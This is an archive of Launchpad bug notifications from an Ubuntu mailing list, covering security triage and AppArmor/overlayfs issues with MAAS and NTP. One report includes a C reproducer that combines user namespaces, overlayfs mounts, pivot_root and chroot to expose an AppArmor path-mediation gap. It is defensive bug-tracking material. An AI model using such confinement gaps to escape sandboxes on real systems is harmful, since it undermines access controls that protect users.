  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1704559] Re: often no wifi connections shown

[Tyler Hicks]

Thanks for taking the time to report this bug and helping to make Ubuntu
better. We appreciate the difficulties you are facing, but this appears
to be a "regular" (non-security) bug.  I have unmarked it as a security
issue since this bug does not show evidence of allowing attackers to
cross privilege boundaries nor directly cause loss of data/privacy.
Please feel free to report any other bugs you may find.

** Information type changed from Public Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1704559

Title:
  often no wifi connections shown

Status in network-manager package in Ubuntu:
  New

Bug description:
  On Ubuntu 16.04.2: The network-manager often does not show wifi
  networks. The connection may be runningen without problems at the same
  time.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: network-manager 1.2.6-0ubuntu0.16.04.1
  ProcVersionSignature: Ubuntu 4.4.0-83.106-generic 4.4.70
  Uname: Linux 4.4.0-83-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia
  ApportVersion: 2.20.1-0ubuntu2.6
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Sat Jul 15 15:53:53 2017
  IfupdownConfig:
   # interfaces(5) file used by ifup(8) and ifdown(8)
   auto lo
   iface lo inet loopback
   auto enp0s25
   iface enp0s25 inet manual
  IpRoute:
   default via 172.22.99.1 dev wlp3s0  proto static  metric 600 
   169.254.0.0/16 dev docker0  scope link  metric 1000 linkdown 
   172.17.0.0/16 dev docker0  proto kernel  scope link  src 172.17.0.1 linkdown 
   172.18.0.0/16 dev br-d5edc0a60a9c  proto kernel  scope link  src 172.18.0.1 
   172.22.99.0/24 dev wlp3s0  proto kernel  scope link  src 172.22.99.149  
metric 600
  NetworkManager.state:
   [main]
   NetworkingEnabled=true
   WirelessEnabled=true
   WWANEnabled=true
  SourcePackage: network-manager
  UpgradeStatus: No upgrade log present (probably fresh install)
  mtime.conffile..etc.NetworkManager.NetworkManager.conf: 
2017-04-14T17:29:21.619202
  nmcli-nm:
   RUNNING  VERSION  STATE  STARTUP  CONNECTIVITY  NETWORKING  WIFI-HW  
WIFI WWAN-HW  WWAN
   running  1.2.6connected  started  full  enabled enabled  
enabled  enabled  enabled

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1704559/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705145] Re: upgrade xenial-perl to get important security fixes

[Tyler Hicks]

Hello and thanks for the bug report. We've previously triaged this issue
in the Ubuntu CVE Tracker:

  https://people.canonical.com/~ubuntu-
security/cve/2016/CVE-2016-1238.html

Please watch that page for the latest information for this issue. Thanks
again!

** Changed in: perl (Ubuntu)
   Importance: Undecided => Medium

** Changed in: perl (Ubuntu)
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to perl in Ubuntu.
https://bugs.launchpad.net/bugs/1705145

Title:
  upgrade xenial-perl to get important security fixes

Status in perl package in Ubuntu:
  Triaged

Bug description:
  xenial packages perl at version 5.22.1, as described here --
  https://packages.ubuntu.com/xenial/perl

  Please could you upgrade the package to reflect 5.22.4, to include
  critical bug fixes that have been fixed in the meantime?  This is a
  binary-compatible upgrade that does not require the recompilation of
  perl modules contained in other ubuntu packages.

  Debian has already prepared a 5.22.4 build so you should be able to
  simply copy that over.  The main security issue of concern is this one
  -- https://security-tracker.debian.org/tracker/CVE-2016-1238 -- which
  directly affects the package managers used by debian and ubuntu.

  I am also in touch with the debian perl people, and the core perl
  team, so I can answer additional questions or facilitate communication
  with either group as needed.

  thank you!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1705145/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705109] Re: package python3-problem-report 2.20.1-0ubuntu2.10 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1705109

Title:
  package python3-problem-report 2.20.1-0ubuntu2.10 failed to
  install/upgrade: package is in a very bad inconsistent state; you
  should  reinstall it before attempting configuration

Status in apport package in Ubuntu:
  New

Bug description:
  Fixed after reinstalling the software.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: python3-problem-report 2.20.1-0ubuntu2.10
  ProcVersionSignature: Ubuntu 4.8.0-58.63~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-58-generic x86_64
  NonfreeKernelModules: wl
  ApportLog:
   
  ApportVersion: 2.20.1-0ubuntu2.9
  AptOrdering:
   python3-problem-report: Configure
   NULL: ConfigurePending
  Architecture: amd64
  Date: Tue Jul 18 12:49:39 2017
  Dependencies:
   
  DpkgTerminalLog:
   dpkg: error processing package python3-problem-report (--configure):
package is in a very bad inconsistent state; you should
reinstall it before attempting configuration
  ErrorMessage: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  InstallationDate: Installed on 2017-07-14 (3 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: apport
  Title: package python3-problem-report 2.20.1-0ubuntu2.10 failed to 
install/upgrade: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1705109/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705835] Re: I cant turn the volume.

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1705835

Title:
  I cant turn the volume.

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  I checked all of the listed commands on the official ubuntu site but
  nothing works.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: pulseaudio 1:8.0-0ubuntu3.3
  ProcVersionSignature: Ubuntu 4.10.0-27.30~16.04.2-generic 4.10.17
  Uname: Linux 4.10.0-27-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/hwC0D3', '/dev/snd/hwC0D0', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/controlC0', '/dev/snd/seq', '/dev/snd/timer'] 
failed with exit code 1:
  CurrentDesktop: Unity
  Date: Sat Jul 22 20:38:46 2017
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2017-07-02 (20 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  SourcePackage: pulseaudio
  Symptom: audio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/27/2011
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A01
  dmi.board.name: 085X6F
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnDellInc.:bvrA01:bd12/27/2011:svnDellInc.:pnDellSystemXPSL321X:pvr:rvnDellInc.:rn085X6F:rvrA00:cvnDellInc.:ct8:cvr0.1:
  dmi.product.name: Dell System XPS L321X
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1705835/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1706209] Re: hackersclub007

[Tyler Hicks]

Marking this bug as invalid since there's no useful information
included.

** Information type changed from Private Security to Public

** Changed in: lxc (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lxc in Ubuntu.
https://bugs.launchpad.net/bugs/1706209

Title:
  hackersclub007

Status in lxc package in Ubuntu:
  Invalid

Bug description:
  Hacker team

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1706209/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1706246] Re: O Programa "Configure - Debian" entrou no modo texto quando foi aberto e prejudicou a inicialização do sistema

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1706246

Title:
  O Programa "Configure - Debian" entrou no modo texto quando foi aberto
  e prejudicou a inicialização do sistema

Status in xorg package in Ubuntu:
  New

Bug description:
  A Desconfiguração do "boot" do Sistema ocorreu quando o programa
  "Configure - Debian" foi ativado e entrou no modo de texto para editar
  arquivos

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.4.0-87.110-generic 4.4.73
  Uname: Linux 4.4.0-87-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  CurrentDesktop: Unity
  Date: Tue Jul 25 01:32:56 2017
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  DkmsStatus:
   ndiswrapper, 1.60, 4.4.0-86-generic, x86_64: installed
   ndiswrapper, 1.60, 4.4.0-87-generic, x86_64: installed
  ExtraDebuggingInterest: Yes, including running git bisection searches
  GraphicsCard:
   Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] 
(rev 0b) (prog-if 00 [VGA controller])
 Subsystem: Dell Haswell-ULT Integrated Graphics Controller [1028:0651]
  InstallationDate: Installed on 2017-07-06 (18 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  MachineType: Dell Inc. Inspiron 3542
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-87-generic 
root=/dev/mapper/ubuntu--vg-root ro drm.debug=0xe plymouth:debug
  SourcePackage: xorg
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/13/2016
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A12
  dmi.board.name: 0P8H6J
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A12
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.chassis.version: Not Specified
  dmi.modalias: 
dmi:bvnDellInc.:bvrA12:bd05/13/2016:svnDellInc.:pnInspiron3542:pvrNotSpecified:rvnDellInc.:rn0P8H6J:rvrA12:cvnDellInc.:ct8:cvrNotSpecified:
  dmi.product.name: Inspiron 3542
  dmi.product.version: Not Specified
  dmi.sys.vendor: Dell Inc.
  version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.76-1~ubuntu16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 17.0.7-0ubuntu0.16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 17.0.7-0ubuntu0.16.04.1
  version.xserver-xorg-core: xserver-xorg-core 2:1.18.4-0ubuntu0.3
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.0-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20160325-1ubuntu1.2
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 
1:1.0.12-1build2
  xserver.bootTime: Tue Jul 25 00:40:04 2017
  xserver.configfile: default
  xserver.errors:
   
  xserver.logfile: /var/log/Xorg.0.log
  xserver.outputs:
   product id1110 
   vendor LGD
  xserver.version: 2:1.18.4-0ubuntu0.3

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1706246/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1706543] Re: Upgrade to newer version (currently v7.5p1)

[Tyler Hicks]

Hello and thanks for the bug report! To reduce the risk of regressions,
we prefer to backport security fixes to our stable releases rather than
bump them to an entirely new version of the openssh package. Please
refer to the Ubuntu CVE Tracker for known issues affecting OpenSSH:

  https://people.canonical.com/~ubuntu-security/cve/pkg/openssh.html

Ubuntu 16.04 LTS does have some outstanding OpenSSH CVEs that have not
yet been fixed but they're all rated low or negligible. However, I
expect that we'll begin work on security updates soon.

Please see the following FAQ entry for more details on our backporting
policy:

  https://wiki.ubuntu.com/SecurityTeam/FAQ#Versions

I'm going to mark this bug invalid since we're unwilling to bump to an
entirely new OpenSSH version and all known CVEs are being tracked in the
Ubuntu CVE Tracker. Thanks again for the report!

** Attachment removed: "SSHDConfig.txt"
   
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1706543/+attachment/4921533/+files/SSHDConfig.txt

** Attachment removed: "JournalErrors.txt"
   
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1706543/+attachment/4921530/+files/JournalErrors.txt

** Information type changed from Private Security to Public Security

** Changed in: openssh (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1706543

Title:
  Upgrade to newer version (currently v7.5p1)

Status in openssh package in Ubuntu:
  Invalid

Bug description:
  LTS is running v7.2p2 from 01.Mar.2016.
  OpenSSH v7.5p1 is available since 20.Mar.2017.

  For v7.2 there are at least 4 known vulnerabilities:
  
https://www.cvedetails.com/vulnerability-list/vendor_id-97/product_id-585/version_id-194112/Openbsd-Openssh-7.2.html

  which make the security package less secure.
  Please, update it for LTS at least, not just "latest" and "forthcoming".

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: openssh-server 1:7.2p2-4ubuntu2.2
  Uname: Linux 4.11.7-041107-lowlatency x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Jul 26 09:52:16 2017
  SourcePackage: openssh
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1706543/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705158] Re: package systemd-sysv 232-21ubuntu5 failed to install/upgrade: subprocess installed post-removal script returned error exit status 2

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1705158

Title:
  package systemd-sysv 232-21ubuntu5 failed to install/upgrade:
  subprocess installed post-removal script returned error exit status 2

Status in systemd package in Ubuntu:
  New

Bug description:
  cannot upgrade to 17.04 due to systemd-shim error

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  Package: systemd-sysv 232-21ubuntu5
  ProcVersionSignature: Ubuntu 4.10.0-28.32-generic 4.10.17
  Uname: Linux 4.10.0-28-generic i686
  ApportVersion: 2.20.4-0ubuntu4.4
  Architecture: i386
  Date: Mon Jul 17 23:03:51 2017
  ErrorMessage: subprocess installed post-removal script returned error exit 
status 2
  InstallationDate: Installed on 2012-02-25 (1970 days ago)
  InstallationMedia: Ubuntu 11.10 "Oneiric Ocelot" - Release i386 (20111012)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: systemd
  Title: package systemd-sysv 232-21ubuntu5 failed to install/upgrade: 
subprocess installed post-removal script returned error exit status 2
  UpgradeStatus: Upgraded to zesty on 2017-07-18 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1705158/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1703520] Re: DNS resolving doesn't work in complain mode with dnsmasq and apparmor

[Tyler Hicks]

The attach_disconnected flag was added to the dnsmasq profile just
before 16.04 was released:

  https://launchpad.net/ubuntu/+source/apparmor/2.10.95-0ubuntu2

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1703520

Title:
  DNS resolving doesn't work in complain mode with dnsmasq and apparmor

Status in apparmor package in Ubuntu:
  New

Bug description:
  After i have firefox, chromium-browser and dnsmasq profiled with sudo
  aa-autodep (complain-mode was used), i can not resolving websites.
  (Log is at the attachement)

  I have copied the profiles of the three programms from the top in 
/etc/apparmor.d/disable and after a reboot i can resolving websites.
  The network manager can connect with my router the whole time.

  I'm have Ubuntu 16.04.02 LTS with all updates. (11.07.2017 CEST)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1703520/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701297] Re: NTP reload failure (unable to read library) on overlayfs

[Tyler Hicks]

To elaborate a bit more, the apparmor and overlayfs incompatibility has
been a known kernel issue from before 16.04's release and, at this time,
isn't something that is likely to be fixed in 16.04. I'd like to better
understand if something changed in userspace that started tickling the
incompatibility issue. Did MAAS change how it was using AppArmor in the
recent SRU that took it to version 2.1.5?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1701297

Title:
  NTP reload failure (unable to read library) on overlayfs

Status in cloud-init:
  Incomplete
Status in apparmor package in Ubuntu:
  Confirmed
Status in cloud-init package in Ubuntu:
  Incomplete
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  After update [1] of cloud-init in Ubuntu (which landed in xenial-
  updates on 2017-06-27), it is causing NTP reload failures.

  https://launchpad.net/ubuntu/+source/cloud-init/0.7.9-153-g16a7302f-
  0ubuntu1~16.04.1

  In MAAS scenarios, this is causing the machine to fail to deploy.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1701297/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701297] Re: NTP reload failure (unable to read library) on overlayfs

[Tyler Hicks]

@Andres One thing that I'm struggling with is why this bug hasn't been
seen before. IIUC, it should be present in the very first ga-16.04
kernel that Ubuntu 16.04 LTS was released with (in addition to earlier
kernels while Xenial was a development release). Has MAAS 2.1.x and
ga-16.04 kernels just now been used together or could there be some
other change (in the kernel, MAAS, or maybe even something else) since
the time that Ubuntu 16.04 LTS was released that we're not considering?

Would it be possible for someone on your team to test with the ga-16.04
kernel version 4.4.0-21.37 from the xenial-release pocket with both maas
2.0.0~beta3+bzr4941-0ubuntu1 from xenial-release and maas
2.1.5+bzr5596-0ubuntu1~16.04.1 from xenial-updates? I don't know how
much effort that is but it would be helpful in understanding what
changed in 16.04 to start triggering this bug.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1701297

Title:
  NTP reload failure (unable to read library) on overlayfs

Status in cloud-init:
  Incomplete
Status in apparmor package in Ubuntu:
  Confirmed
Status in cloud-init package in Ubuntu:
  Incomplete
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  After update [1] of cloud-init in Ubuntu (which landed in xenial-
  updates on 2017-06-27), it is causing NTP reload failures.

  https://launchpad.net/ubuntu/+source/cloud-init/0.7.9-153-g16a7302f-
  0ubuntu1~16.04.1

  In MAAS scenarios, this is causing the machine to fail to deploy.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1701297/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701297] Re: NTP reload failure (unable to read library) on overlayfs

[Tyler Hicks]

John is going to build a test kernel, based on the ga-16.04 kernel, with
the binfmt_elf commit cherry-picked from the hwe-16.04. That will let
someone from the MAAS team attempt to reproduce the issue with the test
kernel and, if the deployment succeeds, it'll tell us that the
binfmt_elf commit is causing the change in behavior.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1701297

Title:
  NTP reload failure (unable to read library) on overlayfs

Status in cloud-init:
  Incomplete
Status in apparmor package in Ubuntu:
  Confirmed
Status in cloud-init package in Ubuntu:
  Incomplete
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  After update [1] of cloud-init in Ubuntu (which landed in xenial-
  updates on 2017-06-27), it is causing NTP reload failures.

  https://launchpad.net/ubuntu/+source/cloud-init/0.7.9-153-g16a7302f-
  0ubuntu1~16.04.1

  In MAAS scenarios, this is causing the machine to fail to deploy.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1701297/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1408106] Re: attach_disconnected not sufficient for overlayfs

[Tyler Hicks]

@fnordahl Hi! Let's keep the discussion about bug 1701297 in that bug
since it is focused on the change in behavior between the Xenial release
kernel and the HWE kernel. That's not what this bug is about. John is
investigating the change in behavior issue. Jamie's previous
investigations of overlayfs/apparmor were solely focused on the Xenial
release kernel so we should not pull him in at the moment as it would
divert his focus from other high priority workk.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1408106

Title:
  attach_disconnected not sufficient for overlayfs

Status in AppArmor:
  Invalid
Status in MAAS:
  Invalid
Status in apparmor package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Invalid

Bug description:
  With the following use of overlayfs, we get a disconnected path:

  $ cat ./profile
  #include 
  profile foo {
    #include 

    capability sys_admin,
    capability sys_chroot,
    mount,
    pivot_root,
  }

  $ cat ./overlay.c
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(int argc, char* argv[]) {
  int i = 0;
  int len = 0;
  int ret = 0;
  char* options;

  if (geteuid())
  unshare(CLONE_NEWUSER);
  unshare(CLONE_NEWNS);

  for (i = 1; i < argc; i++) {
  if (i == 1) {
  len = strlen(argv[i]) + strlen("upperdir=,lowerdir=/") + 2;
  options = alloca(len);
  ret = snprintf(options, len, "upperdir=%s,lowerdir=/", argv[i]);
  }
  else {
  len = strlen(argv[i]) + strlen("upperdir=,lowerdir=/mnt") + 2;
  options = alloca(len);
  ret = snprintf(options, len, "upperdir=%s,lowerdir=/mnt", 
argv[i]);
  }

  mount("overlayfs", "/mnt", "overlayfs", MS_MGC_VAL, options);
  }

  chdir("/mnt");
  pivot_root(".", ".");
  chroot(".");

  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
  }

  $ sudo apparmor_parser -r ./profile && aa-exec -p foo -- ./a.out /tmp
  [255]
  ...
  Dec 12 14:31:38 localhost kernel: [57278.040216] audit: type=1400 
audit(1418387498.613:712): apparmor="DENIED" operation="exec" info="Failed name 
lookup - disconnected path" error=-13 profile="foo" name="/bin/bash" pid=18255 
comm="a.out" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

  With the above, the expectation was for the denial to be /mnt/bin/bash. There 
are three ways forward:
  1. the correct solution is to patch overlayfs to properly track the loopback, 
but this will take a while, may ultimately be unachievable. UPDATE: upstream is 
currently working on this and Ubuntu will engage with them
  2. we could rely on the fact that overlayfs creates a private unshared 
submount, and provide a way to not mediate the path when that is present, and 
tagged. This would take a bit of time, and might be the preferred method over 1 
longer term
  3. we could extend attach_disconnected so that we can define the attach root. 
Eg, we can use profile foo (attach_disconnected=/mnt) {} such that '/bin/bash' 
maps to '/mnt/bin/bash'. UPDATE: THIS IS NOT VIABLE

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1408106/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

Re: [Touch-packages] [Bug 1701297] Re: NTP reload failure (unable to read library) on overlayfs

[Tyler Hicks]

On 07/05/2017 08:14 PM, Daniel Axtens wrote:
> Hi Tyler,
> 
> Do you know what the changes between the ga-16.04 and hwe-16.04 kernel
> are that make apparmor+overlayfs work?

No, we're not currently aware of any code changes that would cause the
behavioral change that is reported in the bug. Now that we have the
specific kernel version of the HWE kernel, John Johansen can look into
possible causes for the change.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1701297

Title:
  NTP reload failure (unable to read library) on overlayfs

Status in cloud-init:
  Incomplete
Status in apparmor package in Ubuntu:
  Confirmed
Status in cloud-init package in Ubuntu:
  Incomplete
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  After update [1] of cloud-init in Ubuntu (which landed in xenial-
  updates on 2017-06-27), it is causing NTP reload failures.

  https://launchpad.net/ubuntu/+source/cloud-init/0.7.9-153-g16a7302f-
  0ubuntu1~16.04.1

  In MAAS scenarios, this is causing the machine to fail to deploy.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cloud-init/+bug/1701297/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 717313] Re: df reports negative disk usage

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to coreutils in Ubuntu.
https://bugs.launchpad.net/bugs/717313

Title:
  df reports negative disk usage

Status in coreutils package in Ubuntu:
  Expired

Bug description:
  Binary package hint: coreutils

  I am in the process of converting a md-RAID5 to RAID6, when checking
  df during the process i notice that the disk usage is negative:

  http://pastebin.com/YHcMjiD7

  
  A du -hs on the mounted device gives:

  torhenning@bais:~$ sudo du -hs /home/samba/
  2.1T/home/samba/



  torhenning@bais:~$ lsb_release -rd
  Description:Ubuntu 10.04.1 LTS
  Release:10.04

  ProblemType: Bug
  DistroRelease: Ubuntu 10.04
  Package: coreutils 7.4-2ubuntu3
  ProcVersionSignature: Ubuntu 2.6.32-27.49-server 2.6.32.26+drm33.12
  Uname: Linux 2.6.32-27-server x86_64
  Architecture: amd64
  Date: Fri Feb 11 18:56:58 2011
  ProcEnviron:
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: coreutils

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/coreutils/+bug/717313/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701297] Re: NTP reload failure (causing deployment failures with MAAS)

[Tyler Hicks]

AppArmor has difficulties mediating filesystem access when overlayfs is
involved. That's a known issue but isn't one that is easily solved due
to the internal design of overlayfs and its use of private vfsmounts. It
also isn't something that we're planning to fix for the 17.10 cycle.

I thought that we recently investigated a similar issue to this and
determined that MAAS wouldn't enable AppArmor when it is initially
